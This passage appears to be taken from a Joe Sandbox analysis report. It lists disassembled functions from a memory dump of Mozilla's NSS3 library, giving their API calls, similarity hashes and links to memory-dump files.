Part of subcall function 6CBA09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBA0AE8
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0B19
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0B48
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0C76
Part of subcall function 6CBA09D0: PR_LogFlush.NSS3 ref: 6CBA0C7E

Strings

C_Initialize, xrefs: 6CAC1CD3
pInitArgs = 0x%p, xrefs: 6CAC1CEC

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 490d9b007f04f3d16a4d129a33770ad52b7aefd1e04bcfb40d7ccbde30891992
Instruction ID: 7d3d7f3bd4af624fbc716f1b5a8e749d654961c5361699cb5e3194b5cb9cbb24
Opcode Fuzzy Hash: 490d9b007f04f3d16a4d129a33770ad52b7aefd1e04bcfb40d7ccbde30891992
Instruction Fuzzy Hash: 38015E79701180AFDF019B68FA49B6937B9EB82329F084425E91993721DB34D989CB93

Function 6CA27F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA281DF
LeaveCriticalSection.KERNEL32(?), ref: 6CA28239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA28255
sqlite3_free.NSS3(00000000), ref: 6CA28260

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 8e94f56087d999ae1467b16c2348ad99a094f7e708882e13f0d20ddbedc80043
Instruction ID: ced8370e12002fe335d5eb420237ea5396d17418b0d6327101da9bd646cc3c27
Opcode Fuzzy Hash: 8e94f56087d999ae1467b16c2348ad99a094f7e708882e13f0d20ddbedc80043
Instruction Fuzzy Hash: 7891D172A05268CFEF08DFE8E9497ADB7B5BF06304F1C012AE4269B644D7395985CF81

Function 6CB01D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB01D8F

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CB01DA6

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB01E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB01ED0

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 560e6e901b3c88d50f362c2a2ff4ec84030e0d4ee074f29495cd955cf744cca0
Instruction ID: 22accfecf32393667eaf501ad308ed974afa9ad642448e288eba8d380864fd90
Opcode Fuzzy Hash: 560e6e901b3c88d50f362c2a2ff4ec84030e0d4ee074f29495cd955cf744cca0
Instruction Fuzzy Hash: B9517B71A00349CFDB04CF98C884BAEBBB6FF49308F184129E9199B750D731E949CB81

Function 6CB54FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CA385D2,00000000,?,?), ref: 6CB54FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB5500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB550C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB550D6

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 3f634aa49dc7548974d9300b69eb5df120124765e922120b36b80e4f99dad62b
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 824182B2A402518BCB18CF18DCE179AB7E1FF4431871D466DD84ACBB02E375E8A5CB85

Function 6CA7FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CA7FDFE), ref: 6CA7FFAD

Part of subcall function 6CA1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA7F9C9,?,6CA7F4DA,6CA7F9C9,?,?,6CA4369A), ref: 6CA1CA7A
Part of subcall function 6CA1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CA7FDFE), ref: 6CA7FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CA7FDFE), ref: 6CA8001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CA7FDFE), ref: 6CA8006F

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 013a5d3a9bc93ce7674c0b0ff7a53affdd6414ccaa01428b1915ce7270cf0efa
Instruction ID: 25aeff33f40f36f28c8abdb72b419b4ddeba2a6eb89260ef230e89bdf8b9407d
Opcode Fuzzy Hash: 013a5d3a9bc93ce7674c0b0ff7a53affdd6414ccaa01428b1915ce7270cf0efa
Instruction Fuzzy Hash: D641F2B1F022559FDF08DFA8E885AAE7779FF49314F08012DD81693701DB35A981CBA1

Function 6CB03D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6CB0127F,?), ref: 6CB03D89

Part of subcall function 6CB006F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CB02E70,00000000), ref: 6CB00701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6CB03DD3

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: 9604d414a9e4404cb7cdc41a446bc5075553eaa09e48fbeb8e848707918b3aff
Instruction ID: 763ad513ac1ccd9f69afbcebddf513a59d31e02f02864ec264565986ed3355a9
Opcode Fuzzy Hash: 9604d414a9e4404cb7cdc41a446bc5075553eaa09e48fbeb8e848707918b3aff
Instruction Fuzzy Hash: BF313535B129E19BE7144618D848F5A7A14EB413ACF280776DE14C7FD2EB21EC40C2E3

Function 6CB67DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB67E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB67EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB67EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CB67ED8

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: f1a3491c9feaf9c938a77e4668888cb1c8848f2ed2e9a66a4e23bf28ca15b637
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 1231A2B2A002518FDB04CF09D89099EBBE6FFC831871A8169C8586BB11EB71EC55CBD1

Function 6CB1DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CAA3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CABAE42), ref: 6CAA30AA
Part of subcall function 6CAA3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA30C7
Part of subcall function 6CAA3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CAA30E5
Part of subcall function 6CAA3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAA3116
Part of subcall function 6CAA3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAA312B
Part of subcall function 6CAA3090: PK11_DestroyObject.NSS3(?,?), ref: 6CAA3154
Part of subcall function 6CAA3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB1DBBD), ref: 6CB1DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB1DFEE

Part of subcall function 6CAB86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB8716
Part of subcall function 6CAB86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB8727
Part of subcall function 6CAB86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAB873B
Part of subcall function 6CAB86D0: PR_Unlock.NSS3(?), ref: 6CAB876F
Part of subcall function 6CAB86D0: PR_SetError.NSS3(00000000,00000000), ref: 6CAB8787

Part of subcall function 6CADF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CADF854
Part of subcall function 6CADF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CADF868
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CADF882
Part of subcall function 6CADF820: free.MOZGLUE(04C483FF,?,?), ref: 6CADF889
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CADF8A4
Part of subcall function 6CADF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CADF8AB
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CADF8C9
Part of subcall function 6CADF820: free.MOZGLUE(280F10EC,?,?), ref: 6CADF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CB1DBBD), ref: 6CB1DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CB1DBBD), ref: 6CB1E007

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: abd40ee53ac1a2b54f05057cf5f77c558891645d62a757944d9c30faa0a85c96
Instruction ID: d6e572971d2ca2be63fb363185d181c714d4226a4ccfab42bcb415c48ec3d668
Opcode Fuzzy Hash: abd40ee53ac1a2b54f05057cf5f77c558891645d62a757944d9c30faa0a85c96
Instruction Fuzzy Hash: 1131C6B1A0828157DB029A79AD85A9B73A8EF5530CF050135E90AD7F52FB21DA5CC3E3

Function 6CB02C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6CB01289,?), ref: 6CB02D72

Part of subcall function 6CB03390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6CB02CA7,E80C76FF,?,6CB01289,?), ref: 6CB033E9
Part of subcall function 6CB03390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6CB0342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB01289,?), ref: 6CB02D61

Part of subcall function 6CB00B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB00B21
Part of subcall function 6CB00B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB00B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6CB01289,?), ref: 6CB02D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6CB01289,?), ref: 6CB02DAF

Part of subcall function 6CABB8F0: PR_CallOnceWithArg.NSS3(6CBF2178,6CABBCF0,?), ref: 6CABB915
Part of subcall function 6CABB8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6CABB933
Part of subcall function 6CABB8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CABB9C8
Part of subcall function 6CABB8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CABB9E1

Part of subcall function 6CB00A50: SECOID_GetAlgorithmTag_Util.NSS3(6CB02A90,E8571076,?,6CB02A7C,6CB021F1,?,?,?,00000000,00000000,?,?,6CB021DD,00000000), ref: 6CB00A66

Part of subcall function 6CB03310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6CB02D1E,?,?,?,?,00000000,?,?,?,?,?,6CB01289), ref: 6CB03348

Part of subcall function 6CB006F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CB02E70,00000000), ref: 6CB00701

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: dbc217f0406f8ea1380edba688440e7f75ac5e6985307595a41e7bd93c74d039
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: 4131C7B6B00291ABDB019E64EC45E9E3B69AF4521DF140230ED189B791EB31E95CC7A3

Function 6CA96C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA96C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA96CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CA96CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CBB8FE0), ref: 6CA96CFE

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 3e8bb38215471bd40053291b554964cfceabb5dfd5153727afdb4c382b8e4404
Instruction ID: 5ebfdcbe916258f1c13c15a66bd121a99f9184f6266bf30407127830b6b294c8
Opcode Fuzzy Hash: 3e8bb38215471bd40053291b554964cfceabb5dfd5153727afdb4c382b8e4404
Instruction Fuzzy Hash: B33181B5A002169FDB08CF65C892ABFBBF5EF45248B14442DE915E7710EB319946CBE0

Function 6CBA4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CBA4F5D
free.MOZGLUE(?), ref: 6CBA4F74
free.MOZGLUE(?), ref: 6CBA4F82
GetLastError.KERNEL32 ref: 6CBA4F90

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 46ef07df8e1d6954e0acc5b11771ddd9dcc925907aa74a0c8445c43cae396ee4
Instruction ID: 05b6ffaa7b99c0a4df7742918c823e332fd09ffba54d636c1106c9d517f2367b
Opcode Fuzzy Hash: 46ef07df8e1d6954e0acc5b11771ddd9dcc925907aa74a0c8445c43cae396ee4
Instruction Fuzzy Hash: F7314B75A042494BDF01CFA8DC41BDFB3B8EF49398F041225EC69A7781DB3599068A92

Function 6CB06DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CB06E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB06E57

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CB06E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CB06EAA

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 653ee00d6b6909d4c6631ed49020a8cbe2d8bda8030db725c1e40b67e74d0c48
Instruction ID: 051e956764533fd6f34cae3790feb6d3a2313546c00628705beece21e612cd26
Opcode Fuzzy Hash: 653ee00d6b6909d4c6631ed49020a8cbe2d8bda8030db725c1e40b67e74d0c48
Instruction Fuzzy Hash: B2318171710792EEDB145F34DD043AABBA4EB0135AF10063CDC99D6A90EB3069D9CB92

Function 6CAEDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CAEDDB1,?,00000000), ref: 6CAEDDF4

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CAEDDB1,?,00000000), ref: 6CAEDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CAEDDB1,?,00000000), ref: 6CAEDE17

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CAEDE80

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
